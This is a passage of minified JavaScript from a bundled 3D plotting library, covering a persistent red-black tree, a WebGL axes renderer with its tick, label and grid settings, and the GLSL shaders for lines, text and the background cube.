A=this._compare,m=this.root,n=[],C=0;m;){var x=A(p,m.key);n.push(m),x<0&&(C=n.length),x<0?m=m.left:m=m.right}return n.length=C,new h(this,n)},s.lt=function(p){for(var A=this._compare,m=this.root,n=[],C=0;m;){var x=A(p,m.key);n.push(m),x>0&&(C=n.length),x<=0?m=m.left:m=m.right}return n.length=C,new h(this,n)},s.le=function(p){for(var A=this._compare,m=this.root,n=[],C=0;m;){var x=A(p,m.key);n.push(m),x>=0&&(C=n.length),x<0?m=m.left:m=m.right}return n.length=C,new h(this,n)},s.find=function(p){for(var A=this._compare,m=this.root,n=[];m;){var C=A(p,m.key);if(n.push(m),C===0)return new h(this,n);C<=0?m=m.left:m=m.right}return new h(this,[])},s.remove=function(p){var A=this.find(p);return A?A.remove():this},s.get=function(p){for(var A=this._compare,m=this.root;m;){var n=A(p,m.key);if(n===0)return m.value;n<=0?m=m.left:m=m.right}};function h(p,A){this.tree=p,this._stack=A}var i=h.prototype;Object.defineProperty(i,"valid",{get:function(){return this._stack.length>0}}),Object.defineProperty(i,"node",{get:function(){return this._stack.length>0?this._stack[this._stack.length-1]:null},enumerable:!0}),i.clone=function(){return new h(this.tree,this._stack.slice())};function v(p,A){p.key=A.key,p.value=A.value,p.left=A.left,p.right=A.right,p._color=A._color,p._count=A._count}function T(p){for(var A,m,n,C,x=p.length-1;x>=0;--x){if(A=p[x],x===0){A._color=t;return}if(m=p[x-1],m.left===A){if(n=m.right,n.right&&n.right._color===g){if(n=m.right=f(n),C=n.right=f(n.right),m.right=n.left,n.left=m,n.right=C,n._color=m._color,A._color=t,m._color=t,C._color=t,l(m),l(n),x>1){var I=p[x-2];I.left===m?I.left=n:I.right=n}p[x-1]=n;return}else if(n.left&&n.left._color===g){if(n=m.right=f(n),C=n.left=f(n.left),m.right=C.left,n.left=C.right,C.left=m,C.right=n,C._color=m._color,m._color=t,n._color=t,A._color=t,l(m),l(n),l(C),x>1){var I=p[x-2];I.left===m?I.left=C:I.right=C}p[x-1]=C;return}if(n._color===t)if(m._color===g){m._color=t,m.right=a(g,n);return}else{m.right=a(g,n);continue}else{if(n=f(n),m.right=n.left,n.left=m,n._color=m._color,m._color=g,l(m),l(n),x>1){var I=p[x-2];I.left===m?I.left=n:I.right=n}p[x-1]=n,p[x]=m,x+1<p.length?p[x+1]=A:p.push(A),x=x+2}}else{if(n=m.left,n.left&&n.left._color===g){if(n=m.left=f(n),C=n.left=f(n.left),m.left=n.right,n.right=m,n.left=C,n._color=m._color,A._color=t,m._color=t,C._color=t,l(m),l(n),x>1){var I=p[x-2];I.right===m?I.right=n:I.left=n}p[x-1]=n;return}else if(n.right&&n.right._color===g){if(n=m.left=f(n),C=n.right=f(n.right),m.left=C.right,n.right=C.left,C.right=m,C.left=n,C._color=m._color,m._color=t,n._color=t,A._color=t,l(m),l(n),l(C),x>1){var I=p[x-2];I.right===m?I.right=C:I.left=C}p[x-1]=C;return}if(n._color===t)if(m._color===g){m._color=t,m.left=a(g,n);return}else{m.left=a(g,n);continue}else{if(n=f(n),m.left=n.right,n.right=m,n._color=m._color,m._color=g,l(m),l(n),x>1){var I=p[x-2];I.right===m?I.right=n:I.left=n}p[x-1]=n,p[x]=m,x+1<p.length?p[x+1]=A:p.push(A),x=x+2}}}}i.remove=function(){var p=this._stack;if(p.length===0)return this.tree;var A=new Array(p.length),m=p[p.length-1];A[A.length-1]=new r(m._color,m.key,m.value,m.left,m.right,m._count);for(var n=p.length-2;n>=0;--n){var m=p[n];m.left===p[n+1]?A[n]=new r(m._color,m.key,m.value,A[n+1],m.right,m._count):A[n]=new r(m._color,m.key,m.value,m.left,A[n+1],m._count)}if(m=A[A.length-1],m.left&&m.right){var C=A.length;for(m=m.left;m.right;)A.push(m),m=m.right;var x=A[C-1];A.push(new r(m._color,x.key,x.value,m.left,m.right,m._count)),A[C-1].key=m.key,A[C-1].value=m.value;for(var n=A.length-2;n>=C;--n)m=A[n],A[n]=new r(m._color,m.key,m.value,m.left,A[n+1],m._count);A[C-1].left=A[C]}if(m=A[A.length-1],m._color===g){var I=A[A.length-2];I.left===m?I.left=null:I.right===m&&(I.right=null),A.pop();for(var n=0;n<A.length;++n)A[n]._count--;return new u(this.tree._compare,A[0])}else if(m.left||m.right){m.left?v(m,m.left):m.right&&v(m,m.right),m._color=t;for(var n=0;n<A.length-1;++n)A[n]._count--;return new u(this.tree._compare,A[0])}else{if(A.length===1)return new u(this.tree._compare,null);for(var n=0;n<A.length;++n)A[n]._count--;var k=A[A.length-2];T(A),k.left===m?k.left=null:k.right=null}return new u(this.tree._compare,A[0])},Object.defineProperty(i,"key",{get:function(){if(this._stack.length>0)return this._stack[this._stack.length-1].key},enumerable:!0}),Object.defineProperty(i,"value",{get:function(){if(this._stack.length>0)return this._stack[this._stack.length-1].value},enumerable:!0}),Object.defineProperty(i,"index",{get:function(){var p=0,A=this._stack;if(A.length===0){var m=this.tree.root;return m?m._count:0}else A[A.length-1].left&&(p=A[A.length-1].left._count);for(var n=A.length-2;n>=0;--n)A[n+1]===A[n].right&&(++p,A[n].left&&(p+=A[n].left._count));return p},enumerable:!0}),i.next=function(){var p=this._stack;if(p.length!==0){var A=p[p.length-1];if(A.right)for(A=A.right;A;)p.push(A),A=A.left;else for(p.pop();p.length>0&&p[p.length-1].right===A;)A=p[p.length-1],p.pop()}},Object.defineProperty(i,"hasNext",{get:function(){var p=this._stack;if(p.length===0)return!1;if(p[p.length-1].right)return!0;for(var A=p.length-1;A>0;--A)if(p[A-1].left===p[A])return!0;return!1}}),i.update=function(p){var A=this._stack;if(A.length===0)throw new Error("Can't update empty node!");var m=new Array(A.length),n=A[A.length-1];m[m.length-1]=new r(n._color,n.key,p,n.left,n.right,n._count);for(var C=A.length-2;C>=0;--C)n=A[C],n.left===A[C+1]?m[C]=new r(n._color,n.key,n.value,m[C+1],n.right,n._count):m[C]=new r(n._color,n.key,n.value,n.left,m[C+1],n._count);return new u(this.tree._compare,m[0])},i.prev=function(){var p=this._stack;if(p.length!==0){var A=p[p.length-1];if(A.left)for(A=A.left;A;)p.push(A),A=A.right;else for(p.pop();p.length>0&&p[p.length-1].left===A;)A=p[p.length-1],p.pop()}},Object.defineProperty(i,"hasPrev",{get:function(){var p=this._stack;if(p.length===0)return!1;if(p[p.length-1].left)return!0;for(var A=p.length-1;A>0;--A)if(p[A-1].right===p[A])return!0;return!1}});function w(p,A){return p<A?-1:p>A?1:0}function E(p){return new u(p||w,null)}},7453:function(d,g,t){d.exports=n;var r=t(9557),f=t(1681),a=t(1011),l=t(2864),u=t(8468),s=new Float32Array([1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1]);function y(C,x){return C[0]=x[0],C[1]=x[1],C[2]=x[2],C}function c(C){this.gl=C,this.pixelRatio=1,this.bounds=[[-10,-10,-10],[10,10,10]],this.ticks=[[],[],[]],this.autoTicks=!0,this.tickSpacing=[1,1,1],this.tickEnable=[!0,!0,!0],this.tickFont=["sans-serif","sans-serif","sans-serif"],this.tickSize=[12,12,12],this.tickAngle=[0,0,0],this.tickAlign=["auto","auto","auto"],this.tickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.tickPad=[10,10,10],this.lastCubeProps={cubeEdges:[0,0,0],axis:[0,0,0]},this.labels=["x","y","z"],this.labelEnable=[!0,!0,!0],this.labelFont="sans-serif",this.labelSize=[20,20,20],this.labelAngle=[0,0,0],this.labelAlign=["auto","auto","auto"],this.labelColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.labelPad=[10,10,10],this.lineEnable=[!0,!0,!0],this.lineMirror=[!1,!1,!1],this.lineWidth=[1,1,1],this.lineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.lineTickEnable=[!0,!0,!0],this.lineTickMirror=[!1,!1,!1],this.lineTickLength=[0,0,0],this.lineTickWidth=[1,1,1],this.lineTickColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.gridEnable=[!0,!0,!0],this.gridWidth=[1,1,1],this.gridColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.zeroEnable=[!0,!0,!0],this.zeroLineColor=[[0,0,0,1],[0,0,0,1],[0,0,0,1]],this.zeroLineWidth=[2,2,2],this.backgroundEnable=[!1,!1,!1],this.backgroundColor=[[.8,.8,.8,.5],[.8,.8,.8,.5],[.8,.8,.8,.5]],this._firstInit=!0,this._text=null,this._lines=null,this._background=a(C)}var b=c.prototype;b.update=function(C){C=C||{};function x(ne,fe,X){if(X in C){var W=C[X],V=this[X],Y;(ne?Array.isArray(W)&&Array.isArray(W[0]):Array.isArray(W))?this[X]=Y=[fe(W[0]),fe(W[1]),fe(W[2])]:this[X]=Y=[fe(W),fe(W),fe(W)];for(var Q=0;Q<3;++Q)if(Y[Q]!==V[Q])return!0}return!1}var I=x.bind(this,!1,Number),k=x.bind(this,!1,Boolean),B=x.bind(this,!1,String),_=x.bind(this,!0,function(ne){if(Array.isArray(ne)){if(ne.length===3)return[+ne[0],+ne[1],+ne[2],1];if(ne.length===4)return[+ne[0],+ne[1],+ne[2],+ne[3]]}return[0,0,0,1]}),F,O=!1,z=!1;if("bounds"in C)for(var N=C.bounds,G=0;G<2;++G)for(var J=0;J<3;++J)N[G][J]!==this.bounds[G][J]&&(z=!0),this.bounds[G][J]=N[G][J];if("ticks"in C){F=C.ticks,O=!0,this.autoTicks=!1;for(var G=0;G<3;++G)this.tickSpacing[G]=0}else I("tickSpacing")&&(this.autoTicks=!0,z=!0);if(this._firstInit&&("ticks"in C||"tickSpacing"in C||(this.autoTicks=!0),z=!0,O=!0,this._firstInit=!1),z&&this.autoTicks&&(F=u.create(this.bounds,this.tickSpacing),O=!0),O){for(var G=0;G<3;++G)F[G].sort(function(fe,X){return fe.x-X.x});u.equal(F,this.ticks)?O=!1:this.ticks=F}k("tickEnable"),B("tickFont")&&(O=!0),I("tickSize"),I("tickAngle"),I("tickPad"),_("tickColor");var q=B("labels");B("labelFont")&&(q=!0),k("labelEnable"),I("labelSize"),I("labelPad"),_("labelColor"),k("lineEnable"),k("lineMirror"),I("lineWidth"),_("lineColor"),k("lineTickEnable"),k("lineTickMirror"),I("lineTickLength"),I("lineTickWidth"),_("lineTickColor"),k("gridEnable"),I("gridWidth"),_("gridColor"),k("zeroEnable"),_("zeroLineColor"),I("zeroLineWidth"),k("backgroundEnable"),_("backgroundColor"),this._text?this._text&&(q||O)&&this._text.update(this.bounds,this.labels,this.labelFont,this.ticks,this.tickFont):this._text=r(this.gl,this.bounds,this.labels,this.labelFont,this.ticks,this.tickFont),this._lines&&O&&(this._lines.dispose(),this._lines=null),this._lines||(this._lines=f(this.gl,this.bounds,this.ticks))};function h(){this.primalOffset=[0,0,0],this.primalMinor=[0,0,0],this.mirrorOffset=[0,0,0],this.mirrorMinor=[0,0,0]}var i=[new h,new h,new h];function v(C,x,I,k,B){for(var _=C.primalOffset,F=C.primalMinor,O=C.mirrorOffset,z=C.mirrorMinor,N=k[x],G=0;G<3;++G)if(x!==G){var J=_,q=O,ne=F,fe=z;N&1<<G&&(J=O,q=_,ne=z,fe=F),J[G]=I[0][G],q[G]=I[1][G],B[G]>0?(ne[G]=-1,fe[G]=0):(ne[G]=0,fe[G]=1)}}var T=[0,0,0],w={model:s,view:s,projection:s,_ortho:!1};b.isOpaque=function(){return!0},b.isTransparent=function(){return!1},b.drawTransparent=function(C){};var E=0,p=[0,0,0],A=[0,0,0],m=[0,0,0];b.draw=function(C){C=C||w;for(var V=this.gl,x=C.model||s,I=C.view||s,k=C.projection||s,B=this.bounds,_=C._ortho||!1,F=l(x,I,k,B,_),O=F.cubeEdges,z=F.axis,N=I[12],G=I[13],J=I[14],q=I[15],ne=_?2:1,fe=ne*this.pixelRatio*(k[3]*N+k[7]*G+k[11]*J+k[15]*q)/V.drawingBufferHeight,X=0;X<3;++X)this.lastCubeProps.cubeEdges[X]=O[X],this.lastCubeProps.axis[X]=z[X];for(var W=i,X=0;X<3;++X)v(i[X],X,this.bounds,O,z);for(var V=this.gl,Y=T,X=0;X<3;++X)this.backgroundEnable[X]?Y[X]=z[X]:Y[X]=0;this._background.draw(x,I,k,B,Y,this.backgroundColor),this._lines.bind(x,I,k,this);for(var X=0;X<3;++X){var Q=[0,0,0];z[X]>0?Q[X]=B[1][X]:Q[X]=B[0][X];for(var ie=0;ie<2;++ie){var j=(X+1+ie)%3,K=(X+1+(ie^1))%3;this.gridEnable[j]&&this._lines.drawGrid(j,K,this.bounds,Q,this.gridColor[j],this.gridWidth[j]*this.pixelRatio)}for(var ie=0;ie<2;++ie){var j=(X+1+ie)%3,K=(X+1+(ie^1))%3;this.zeroEnable[K]&&Math.min(B[0][K],B[1][K])<=0&&Math.max(B[0][K],B[1][K])>=0&&this._lines.drawZero(j,K,this.bounds,Q,this.zeroLineColor[K],this.zeroLineWidth[K]*this.pixelRatio)}}for(var X=0;X<3;++X){this.lineEnable[X]&&this._lines.drawAxisLine(X,this.bounds,W[X].primalOffset,this.lineColor[X],this.lineWidth[X]*this.pixelRatio),this.lineMirror[X]&&this._lines.drawAxisLine(X,this.bounds,W[X].mirrorOffset,this.lineColor[X],this.lineWidth[X]*this.pixelRatio);for(var oe=y(p,W[X].primalMinor),re=y(A,W[X].mirrorMinor),le=this.lineTickLength,ie=0;ie<3;++ie){var pe=fe/x[5*ie];oe[ie]*=le[ie]*pe,re[ie]*=le[ie]*pe}this.lineTickEnable[X]&&this._lines.drawAxisTicks(X,W[X].primalOffset,oe,this.lineTickColor[X],this.lineTickWidth[X]*this.pixelRatio),this.lineTickMirror[X]&&this._lines.drawAxisTicks(X,W[X].mirrorOffset,re,this.lineTickColor[X],this.lineTickWidth[X]*this.pixelRatio)}this._lines.unbind(),this._text.bind(x,I,k,this.pixelRatio);var we,xe=.5,ke,_e;function be(Be){_e=[0,0,0],_e[Be]=1}function ge(Be,$e,Xe){var Ze=(Be+1)%3,Ke=(Be+2)%3,st=$e[Ze],lt=$e[Ke],ut=Xe[Ze],yt=Xe[Ke];if(st>0&&yt>0){be(Ze);return}else if(st>0&&yt<0){be(Ze);return}else if(st<0&&yt>0){be(Ze);return}else if(st<0&&yt<0){be(Ze);return}else if(lt>0&&ut>0){be(Ke);return}else if(lt>0&&ut<0){be(Ke);return}else if(lt<0&&ut>0){be(Ke);return}else if(lt<0&&ut<0){be(Ke);return}}for(var X=0;X<3;++X){for(var Te=W[X].primalMinor,Fe=W[X].mirrorMinor,Oe=y(m,W[X].primalOffset),ie=0;ie<3;++ie)this.lineTickEnable[X]&&(Oe[ie]+=fe*Te[ie]*Math.max(this.lineTickLength[ie],0)/x[5*ie]);var Ce=[0,0,0];if(Ce[X]=1,this.tickEnable[X]){this.tickAngle[X]===-3600?(this.tickAngle[X]=0,this.tickAlign[X]="auto"):this.tickAlign[X]=-1,ke=1,we=[this.tickAlign[X],xe,ke],we[0]==="auto"?we[0]=E:we[0]=parseInt(""+we[0]),_e=[0,0,0],ge(X,Te,Fe);for(var ie=0;ie<3;++ie)Oe[ie]+=fe*Te[ie]*this.tickPad[ie]/x[5*ie];this._text.drawTicks(X,this.tickSize[X],this.tickAngle[X],Oe,this.tickColor[X],Ce,_e,we)}if(this.labelEnable[X]){ke=0,_e=[0,0,0],this.labels[X].length>4&&(be(X),ke=1),we=[this.labelAlign[X],xe,ke],we[0]==="auto"?we[0]=E:we[0]=parseInt(""+we[0]);for(var ie=0;ie<3;++ie)Oe[ie]+=fe*Te[ie]*this.labelPad[ie]/x[5*ie];Oe[X]+=.5*(B[0][X]+B[1][X]),this._text.drawLabel(X,this.labelSize[X],this.labelAngle[X],Oe,this.labelColor[X],[0,0,0],_e,we)}}this._text.unbind()},b.dispose=function(){this._text.dispose(),this._lines.dispose(),this._background.dispose(),this._lines=null,this._text=null,this._background=null,this.gl=null};function n(C,x){var I=new c(C);return I.update(x),I}},1011:function(d,g,t){d.exports=s;var r=t(5827),f=t(2944),a=t(1943).bg;function l(y,c,b,h){this.gl=y,this.buffer=c,this.vao=b,this.shader=h}var u=l.prototype;u.draw=function(y,c,b,h,i,v){for(var T=!1,w=0;w<3;++w)T=T||i[w];if(T){var E=this.gl;E.enable(E.POLYGON_OFFSET_FILL),E.polygonOffset(1,2),this.shader.bind(),this.shader.uniforms={model:y,view:c,projection:b,bounds:h,enable:i,colors:v},this.vao.bind(),this.vao.draw(this.gl.TRIANGLES,36),this.vao.unbind(),E.disable(E.POLYGON_OFFSET_FILL)}},u.dispose=function(){this.vao.dispose(),this.buffer.dispose(),this.shader.dispose()};function s(y){for(var c=[],b=[],h=0,i=0;i<3;++i)for(var v=(i+1)%3,T=(i+2)%3,w=[0,0,0],E=[0,0,0],p=-1;p<=1;p+=2){b.push(h,h+2,h+1,h+1,h+2,h+3),w[i]=p,E[i]=p;for(var A=-1;A<=1;A+=2){w[v]=A;for(var m=-1;m<=1;m+=2)w[T]=m,c.push(w[0],w[1],w[2],E[0],E[1],E[2]),h+=1}var n=v;v=T,T=n}var C=r(y,new Float32Array(c)),x=r(y,new Uint16Array(b),y.ELEMENT_ARRAY_BUFFER),I=f(y,[{buffer:C,type:y.FLOAT,size:3,offset:0,stride:24},{buffer:C,type:y.FLOAT,size:3,offset:12,stride:24}],x),k=a(y);return k.attributes.position.location=0,k.attributes.normal.location=1,new l(y,C,I,k)}},2864:function(d,g,t){d.exports=p;var r=t(2288),f=t(104),a=t(4670),l=t(417),u=new Array(16),s=new Array(8),y=new Array(8),c=new Array(3),b=[0,0,0];(function(){for(var A=0;A<8;++A)s[A]=[1,1,1,1],y[A]=[1,1,1]})();function h(A,m,n){for(var C=0;C<4;++C){A[C]=n[12+C];for(var x=0;x<3;++x)A[C]+=m[x]*n[4*x+C]}}var i=[[0,0,1,0,0],[0,0,-1,1,0],[0,-1,0,1,0],[0,1,0,1,0],[-1,0,0,1,0],[1,0,0,1,0]];function v(A){for(var m=0;m<i.length;++m)if(A=a.positive(A,i[m]),A.length<3)return 0;for(var n=A[0],C=n[0]/n[3],x=n[1]/n[3],I=0,m=1;m+1<A.length;++m){var k=A[m],B=A[m+1],_=k[0]/k[3],F=k[1]/k[3],O=B[0]/B[3],z=B[1]/B[3],N=_-C,G=F-x,J=O-C,q=z-x;I+=Math.abs(N*q-G*J)}return I}var T=[1,1,1],w=[0,0,0],E={cubeEdges:T,axis:w};function p(A,m,n,C,x){f(u,m,A),f(u,n,u);for(var I=0,k=0;k<2;++k){c[2]=C[k][2];for(var B=0;B<2;++B){c[1]=C[B][1];for(var _=0;_<2;++_)c[0]=C[_][0],h(s[I],c,u),I+=1}}for(var F=-1,k=0;k<8;++k){for(var O=s[k][3],z=0;z<3;++z)y[k][z]=s[k][z]/O;x&&(y[k][2]*=-1),O<0&&(F<0||y[k][2]<y[F][2])&&(F=k)}if(F<0){F=0;for(var N=0;N<3;++N){for(var G=(N+2)%3,J=(N+1)%3,q=-1,ne=-1,fe=0;fe<2;++fe){var X=fe<<N,W=X+(fe<<G)+(1-fe<<J),V=X+(1-fe<<G)+(fe<<J);l(y[X],y[W],y[V],b)<0||(fe?q=1:ne=1)}if(q<0||ne<0){ne>q&&(F|=1<<N);continue}for(var fe=0;fe<2;++fe){var X=fe<<N,W=X+(fe<<G)+(1-fe<<J),V=X+(1-fe<<G)+(fe<<J),Y=v([s[X],s[W],s[V],s[X+(1<<G)+(1<<J)]]);fe?q=Y:ne=Y}if(ne>q){F|=1<<N;continue}}}for(var Q=7^F,ie=-1,k=0;k<8;++k)k===F||k===Q||(ie<0||y[ie][1]>y[k][1])&&(ie=k);for(var j=-1,k=0;k<3;++k){var K=ie^1<<k;if(!(K===F||K===Q)){j<0&&(j=K);var J=y[K];J[0]<y[j][0]&&(j=K)}}for(var oe=-1,k=0;k<3;++k){var K=ie^1<<k;if(!(K===F||K===Q||K===j)){oe<0&&(oe=K);var J=y[K];J[0]>y[oe][0]&&(oe=K)}}var re=T;re[0]=re[1]=re[2]=0,re[r.log2(j^ie)]=ie&j,re[r.log2(ie^oe)]=ie&oe;var le=oe^7;le===F||le===Q?(le=j^7,re[r.log2(oe^le)]=le&oe):re[r.log2(j^le)]=le&j;for(var pe=w,we=F,N=0;N<3;++N)we&1<<N?pe[N]=-1:pe[N]=1;return E}},1681:function(d,g,t){d.exports=T;var r=t(5827),f=t(2944),a=t(1943).j,l=[0,0,0],u=[0,0,0],s=[0,0,0],y=[0,0,0],c=[1,1];function b(w){return w[0]=w[1]=w[2]=0,w}function h(w,E){return w[0]=E[0],w[1]=E[1],w[2]=E[2],w}function i(w,E,p,A,m,n,C,x){this.gl=w,this.vertBuffer=E,this.vao=p,this.shader=A,this.tickCount=m,this.tickOffset=n,this.gridCount=C,this.gridOffset=x}var v=i.prototype;v.bind=function(w,E,p){this.shader.bind(),this.shader.uniforms.model=w,this.shader.uniforms.view=E,this.shader.uniforms.projection=p,c[0]=this.gl.drawingBufferWidth,c[1]=this.gl.drawingBufferHeight,this.shader.uniforms.screenShape=c,this.vao.bind()},v.unbind=function(){this.vao.unbind()},v.drawAxisLine=function(w,E,p,A,m){var n=b(u);this.shader.uniforms.majorAxis=u,n[w]=E[1][w]-E[0][w],this.shader.uniforms.minorAxis=n;var C=h(y,p);C[w]+=E[0][w],this.shader.uniforms.offset=C,this.shader.uniforms.lineWidth=m,this.shader.uniforms.color=A;var x=b(s);x[(w+2)%3]=1,this.shader.uniforms.screenAxis=x,this.vao.draw(this.gl.TRIANGLES,6);var x=b(s);x[(w+1)%3]=1,this.shader.uniforms.screenAxis=x,this.vao.draw(this.gl.TRIANGLES,6)},v.drawAxisTicks=function(w,E,p,A,m){if(this.tickCount[w]){var n=b(l);n[w]=1,this.shader.uniforms.majorAxis=n,this.shader.uniforms.offset=E,this.shader.uniforms.minorAxis=p,this.shader.uniforms.color=A,this.shader.uniforms.lineWidth=m;var C=b(s);C[w]=1,this.shader.uniforms.screenAxis=C,this.vao.draw(this.gl.TRIANGLES,this.tickCount[w],this.tickOffset[w])}},v.drawGrid=function(w,E,p,A,m,n){if(this.gridCount[w]){var C=b(u);C[E]=p[1][E]-p[0][E],this.shader.uniforms.minorAxis=C;var x=h(y,A);x[E]+=p[0][E],this.shader.uniforms.offset=x;var I=b(l);I[w]=1,this.shader.uniforms.majorAxis=I;var k=b(s);k[w]=1,this.shader.uniforms.screenAxis=k,this.shader.uniforms.lineWidth=n,this.shader.uniforms.color=m,this.vao.draw(this.gl.TRIANGLES,this.gridCount[w],this.gridOffset[w])}},v.drawZero=function(w,E,p,A,m,n){var C=b(u);this.shader.uniforms.majorAxis=C,C[w]=p[1][w]-p[0][w],this.shader.uniforms.minorAxis=C;var x=h(y,A);x[w]+=p[0][w],this.shader.uniforms.offset=x;var I=b(s);I[E]=1,this.shader.uniforms.screenAxis=I,this.shader.uniforms.lineWidth=n,this.shader.uniforms.color=m,this.vao.draw(this.gl.TRIANGLES,6)},v.dispose=function(){this.vao.dispose(),this.vertBuffer.dispose(),this.shader.dispose()};function T(w,E,p){var A=[],m=[0,0,0],n=[0,0,0],C=[0,0,0],x=[0,0,0];A.push(0,0,1,0,1,1,0,0,-1,0,0,-1,0,1,1,0,1,-1);for(var I=0;I<3;++I){for(var _=A.length/3|0,k=0;k<p[I].length;++k){var B=+p[I][k].x;A.push(B,0,1,B,1,1,B,0,-1,B,0,-1,B,1,1,B,1,-1)}var O=A.length/3|0;m[I]=_,n[I]=O-_;for(var _=A.length/3|0,F=0;F<p[I].length;++F){var B=+p[I][F].x;A.push(B,0,1,B,1,1,B,0,-1,B,0,-1,B,1,1,B,1,-1)}var O=A.length/3|0;C[I]=_,x[I]=O-_}var z=r(w,new Float32Array(A)),N=f(w,[{buffer:z,type:w.FLOAT,size:3,stride:0,offset:0}]),G=a(w);return G.attributes.position.location=0,new i(w,z,N,G,n,m,x,C)}},1943:function(d,g,t){var r=t(6832),f=t(5158),a=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;

uniform mat4 model, view, projection;
uniform vec3 offset, majorAxis, minorAxis, screenAxis;
uniform float lineWidth;
uniform vec2 screenShape;

vec3 project(vec3 p) {
  vec4 pp = projection * view * model * vec4(p, 1.0);
  return pp.xyz / max(pp.w, 0.0001);
}

void main() {
  vec3 major = position.x * majorAxis;
  vec3 minor = position.y * minorAxis;

  vec3 vPosition = major + minor + offset;
  vec3 pPosition = project(vPosition);
  vec3 offset = project(vPosition + screenAxis * position.z);

  vec2 screen = normalize((offset - pPosition).xy * screenShape) / screenShape;

  gl_Position = vec4(pPosition + vec3(0.5 * screen * lineWidth, 0), 1.0);
}
`]),l=r([`precision highp float;
#define GLSLIFY 1

uniform vec4 color;
void main() {
  gl_FragColor = color;
}`]);g.j=function(b){return f(b,a,l,null,[{name:"position",type:"vec3"}])};var u=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;

uniform mat4 model, view, projection;
uniform vec3 offset, axis, alignDir, alignOpt;
uniform float scale, angle, pixelScale;
uniform vec2 resolution;

vec3 project(vec3 p) {
  vec4 pp = projection * view * model * vec4(p, 1.0);
  return pp.xyz / max(pp.w, 0.0001);
}

float computeViewAngle(vec3 a, vec3 b) {
  vec3 A = project(a);
  vec3 B = project(b);

  return atan(
    (B.y - A.y) * resolution.y,
    (B.x - A.x) * resolution.x
  );
}

const float PI = 3.141592;
const float TWO_PI = 2.0 * PI;
const float HALF_PI = 0.5 * PI;
const float ONE_AND_HALF_PI = 1.5 * PI;

int option = int(floor(alignOpt.x + 0.001));
float hv_ratio =       alignOpt.y;
bool enableAlign =    (alignOpt.z != 0.0);

float mod_angle(float a) {
  return mod(a, PI);
}

float positive_angle(float a) {
  return mod_angle((a < 0.0) ?
    a + TWO_PI :
    a
  );
}

float look_upwards(float a) {
  float b = positive_angle(a);
  return ((b > HALF_PI) && (b <= ONE_AND_HALF_PI)) ?
    b - PI :
    b;
}

float look_horizontal_or_vertical(float a, float ratio) {
  // ratio controls the ratio between being horizontal to (vertical + horizontal)
  // if ratio is set to 0.5 then it is 50%, 50%.
  // when using a higher ratio e.g. 0.75 the result would
  // likely be more horizontal than vertical.

  float b = positive_angle(a);

  return
    (b < (      ratio) * HALF_PI) ? 0.0 :
    (b < (2.0 - ratio) * HALF_PI) ? -HALF_PI :
    (b < (2.0 + ratio) * HALF_PI) ? 0.0 :
    (b < (4.0 - ratio) * HALF_PI) ? HALF_PI :
                                    0.0;
}

float roundTo(float a, float b) {
  return float(b * floor((a + 0.5 * b) / b));
}

float look_round_n_directions(float a, int n) {
  float b = positive_angle(a);
  float div = TWO_PI / float(n);
  float c = roundTo(b, div);
  return look_upwards(c);
}

float applyAlignOption(float rawAngle, float delta) {
  return
    (option >  2) ? look_round_n_directions(rawAngle + delta, option) :       // option 3-n: round to n directions
    (option == 2) ? look_horizontal_or_vertical(rawAngle + delta, hv_ratio) : // horizontal or vertical
    (option == 1) ? rawAngle + delta :       // use free angle, and flip to align with one direction of the axis
    (option == 0) ? look_upwards(rawAngle) : // use free angle, and stay upwards
    (option ==-1) ? 0.0 :                    // useful for backward compatibility, all texts remains horizontal
                    rawAngle;                // otherwise return back raw input angle
}

bool isAxisTitle = (axis.x == 0.0) &&
                   (axis.y == 0.0) &&
                   (axis.z == 0.0);

void main() {
  //Compute world offset
  float axisDistance = position.z;
  vec3 dataPosition = axisDistance * axis + offset;

  float beta = angle; // i.e. user defined attributes for each tick

  float axisAngle;
  float clipAngle;
  float flip;

  if (enableAlign) {
    axisAngle = (isAxisTitle) ? HALF_PI :
                      computeViewAngle(dataPosition, dataPosition + axis);
    clipAngle = computeViewAngle(dataPosition, dataPosition + alignDir);

    axisAngle += (sin(axisAngle) < 0.0) ? PI : 0.0;
    clipAngle += (sin(clipAngle) < 0.0) ? PI : 0.0;

    flip = (dot(vec2(cos(axisAngle), sin(axisAngle)),
                vec2(sin(clipAngle),-cos(clipAngle))) > 0.0) ? 1.0 : 0.0;

    beta += applyAlignOption(clipAngle, flip * PI);
  }

  //Compute plane offset
  vec2 planeCoord = position.xy * pixelScale;

  mat2 planeXform = scale * mat2(
     cos(beta), sin(beta),
    -sin(beta), cos(beta)
  );

  vec2 viewOffset = 2.0 * planeXform * planeCoord / resolution;

  //Compute clip position
  vec3 clipPosition = project(dataPosition);

  //Apply text offset in clip coordinates
  clipPosition += vec3(viewOffset, 0.0);

  //Done
  gl_Position = vec4(clipPosition, 1.0);
}`]),s=r([`precision highp float;
#define GLSLIFY 1

uniform vec4 color;
void main() {
  gl_FragColor = color;
}`]);g.f=function(b){return f(b,u,s,null,[{name:"position",type:"vec3"}])};var y=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position;
attribute vec3 normal;

uniform mat4 model, view, projection;
uniform vec3 enable;
uniform vec3 bounds[2];

varying vec3 colorChannel;

void main() {

  vec3 signAxis = sign(bounds[1] - bounds[0]);

  vec3 realNormal = signAxis * normal;

  if(dot(realNormal, enable) > 0.0) {
    vec3 minRange = min(bounds[0], bounds[1]);
    vec3 maxRange = max(bounds[0], bounds[1]);
    vec3 nPosition = mix(minRange, maxRange, 0.5 * (position + 1.0));
    gl_Position = projection * view * model * vec4(nPosition, 1.0);
  } else {
    gl_Position = vec4(0,0,0,0);
  }

  colorChannel = abs(realNormal);
}`]),c=r([`precision highp float;
#define GLSLIFY 1

uniform vec4 colors[3];

varying vec3 colorChannel;

void main() {
  gl_FragColor = colorChannel.x * colors[0] +
                 colorChannel.y * colors[1] +
                 colorChannel.z * colors[2];
